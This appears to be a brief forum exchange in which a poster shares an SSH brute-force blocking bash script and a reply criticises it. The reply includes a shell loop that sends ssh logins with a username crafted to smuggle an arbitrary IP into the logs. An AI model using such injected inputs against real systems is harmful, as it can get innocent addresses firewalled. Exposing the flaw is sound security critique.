Hello,

i made a small bash script last year to block those bruteforce attempts automatically via the firewall.
In case someone is interested, i released it on our website. Someone may have a use for it :-)

That is remarkably shoddy coding from a "security research and

*NEWS FLASH* most platforms allow login names to contain spaces.

$ for ((i=0;i<5;i++));
 do ssh -l "j00 ar3 l4m3 222.173.190.239" idiot.running.this.script.com
